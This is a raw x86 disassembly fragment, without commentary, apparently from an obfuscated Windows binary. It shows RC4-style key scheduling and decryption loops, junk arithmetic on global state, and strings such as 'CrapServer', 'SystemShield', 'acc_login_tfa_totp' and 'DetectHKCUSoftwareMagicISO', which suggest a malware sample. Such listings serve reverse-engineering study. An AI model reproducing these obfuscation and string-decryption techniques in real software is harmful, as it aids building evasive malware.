movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, edx
mov esi, str.CrapServer
and ecx, 0xf9aa9b50
push 0x43
mov dword [0x10026dec], ecx
pop edi
lea eax, [edi - 0x30]
cmp ax, word [ebp - 0x44]
ja 0x1000e37c
add esi, 2
movzx eax, word [esi]
mov edi, eax
test ax, ax
jne 0x1000e364
jmp 0x1000e388
xor ecx, 0x177a2807
mov dword [0x10026c3c], ecx
or edx, 0xe50143c9
mov ecx, edx
mov dword [0x10026cec], edx
call fcn.1000b90b
mov edx, dword [0x10026c3c]
xor ecx, ecx
imul eax, edx, 0x892cb40d
mov edi, ecx
mov dword [0x10026cec], eax
mov eax, ecx
inc eax
cmp eax, 0x1a72
je 0x1000e3c4
cmp byte [eax + str.acc_login_tfa_totp], cl
jne 0x1000e3b2
jmp 0x1000e3db
mov ecx, dword [0x10026dec]
push str.CrapServer
push str.acc_login_tfa_totp
call fcn.1000bdbc
pop ecx
pop ecx
mov ecx, dword [0x10026dec]
mov eax, ecx
or eax, 0x4b01c22e
mov dword [0x10026c3c], eax
or ecx, 0xaf70f223
mov dword [0x10026cec], ecx
call fcn.1000bbd1
xor ecx, ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000e402
mov esi, ecx
mov dl, byte [ebp + esi - 0x168]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x54]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov byte [ebp + edi - 0x168], dl
cmp esi, 0x100
jb 0x1000e413
xor eax, eax
mov ecx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
push 0x43
mov dl, byte [ebp + edi - 0x168]
movzx eax, dl
add eax, ecx
mov byte [ebp - 1], dl
movzx ecx, al
mov eax, dword [0x10026cec]
or eax, 0xc649dadc
mov dword [ebp - 0x10], ecx
mov dword [0x10026c3c], eax
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + edi - 0x168], al
mov byte [ebp + ecx - 0x168], dl
mov ecx, str.CrapServer
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000e4b5
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000e49b
jmp 0x1000e4c4
imul eax, dword [0x10026dec], 0x8443f491
mov dword [0x10026c3c], eax
imul eax, dword [0x10026cec], 0xacb291b9
mov dword [0x10026dec], eax
call fcn.1000b53f
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp + edi - 0x168]
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x29c], al
inc esi
cmp esi, 4
jb 0x1000e454
mov eax, dword [0x10026dec]
add eax, 0xbd27bfd3
mov dword [0x10026c3c], eax
mov eax, str.CrapServer
mov edx, eax
mov ecx, eax
call fcn.1000b23c
imul eax, dword [0x10026dec], 0x607db28a
lea edi, [ebp - 0x58]
mov dword [ebp - 0x184], 0x1e
mov esi, str.SystemShield
mov dword [ebp - 0x180], 0x52
xor ecx, ecx
mov dword [ebp - 0x17c], 0x32
mov dword [ebp - 0x178], 0xa2
movups xmm1, xmmword [ebp - 0x184]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], eax
movaps xmm0, xmm1
mov byte [ebp - 0x298], cl
psrldq xmm0, 8
paddd xmm1, xmm0
movsd dword es:[edi], dword [esi]
movups xmm0, xmm1
mov word [ebp - 0xc], 0x6d4d
psrldq xmm0, 4
paddd xmm1, xmm0
mov byte [ebp - 0xa], 0xee
movsd dword es:[edi], dword [esi]
movd eax, xmm1
push 0x3e
pop edx
add eax, edx
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x37c], eax
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000e5aa
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x174]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000e5bb
mov cl, byte [str._image_map_startOverIconMap]
xor eax, eax
mov edx, dword [0x10026cec]
mov edi, eax
mov dword [ebp - 0x14], eax
mov esi, eax
mov eax, dword [0x10026c3c]
and eax, 0x337b8375
mov byte [ebp - 1], cl
mov dword [ebp - 0x28], eax
lea eax, [edi + 1]
movzx edi, al
mov ch, byte [ebp + edi - 0x168]
movzx eax, ch
add eax, dword [ebp - 0x14]
movzx eax, al
imul edx, edx, 0xe8c9fe4a
mov dword [ebp - 0x14], eax
mov byte [ebp - 2], ch
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, str._image_map_startOverIconMap
mov dword [0x10026cec], edx
jmp 0x1000e66c
sub cl, 0x30
cmp cl, 9
ja 0x1000e672
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x1000e661
jmp 0x1000e681
mov edx, dword [ebp - 0x10]
or edx, 0x1ca11806
mov dword [0x10026cec], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov dword [0x10026dec], eax
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x168], ch
movzx eax, byte [ebp - 2]
movzx ecx, byte [ebp + edi - 0x168]
add ecx, eax
movzx eax, cl
mov cl, byte [ebp - 1]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x208], al
inc esi
cmp esi, 3
jb 0x1000e624
xor eax, eax
mov dword [ebp - 0xc], edx
mov esi, eax
cmp cl, al
je 0x1000e6e6
inc esi
cmp esi, 0x18fe
jg 0x1000e826
cmp byte [esi + str._image_map_startOverIconMap], al
jne 0x1000e6d1
mov eax, dword [ebp - 0xc]
push 0x2d
pop ecx
push 0x2f
imul eax, eax, 0xfd52a219
lea edi, [ebp - 0x1a8]
mov dword [ebp - 0x68], ecx
mov esi, str.DetectHKCUSoftwareMagicISO
mov byte [ebp - 8], cl
pop ecx
mov byte [ebp - 6], cl
push 8
pop ecx
mov dword [ebp - 0x14], eax
mov dword [0x10026dec], eax
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x205], al
mov edi, eax
mov byte [ebp - 7], 0xf5
mov byte [ebp - 5], 0xfb
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000e728
xor eax, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 2], cl
div dword [ebp - 0x30]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1a8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 2]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000e73b
mov esi, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x28], eax
mov edi, eax
mov dword [ebp - 0x10], eax
mov al, byte [ebp - 1]
mov ecx, str._image_map_startOverIconMap
test al, al
je 0x1000e7ac
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x1000e86c
mov eax, dword [ebp - 0xc]
mov ecx, str.CrapServer
or esi, 0x66bc38f9
push ecx
mov edx, ecx
mov dword [0x10026c3c], esi
push eax
mov ecx, esi
call fcn.1000b823
mov eax, dword [ebp - 0x10]
inc eax
movzx edx, al
pop ecx
pop ecx
mov dword [ebp - 0x10], edx
mov cl, byte [ebp + edx - 0x168]
movzx eax, cl
add eax, dword [ebp - 0x28]
movzx esi, al
mov byte [ebp - 2], cl
mov dword [ebp - 0x28], esi
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edx - 0x168], al
xor eax, eax
mov byte [ebp + esi - 0x168], cl
mov ecx, eax
mov eax, str.CrapServer
xor esi, esi
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x2557
je 0x1000e880
mov ecx, dword [0x10026c3c]
call fcn.1000bb7f
add dword [0x10026c3c], 0x4b961cb8
cmp esi, 0x1a50
jle 0x1000e856
mov eax, str.CrapServer
mov edx, str.acc_login_tfa_totp
push eax
mov ecx, eax
call fcn.1000b40b
pop ecx
mov cl, byte [str._image_map_startOverIconMap]
mov eax, dword [0x10026cec]
mov dword [ebp - 0xc], eax
mov byte [ebp - 1], cl
jmp 0x1000e6e9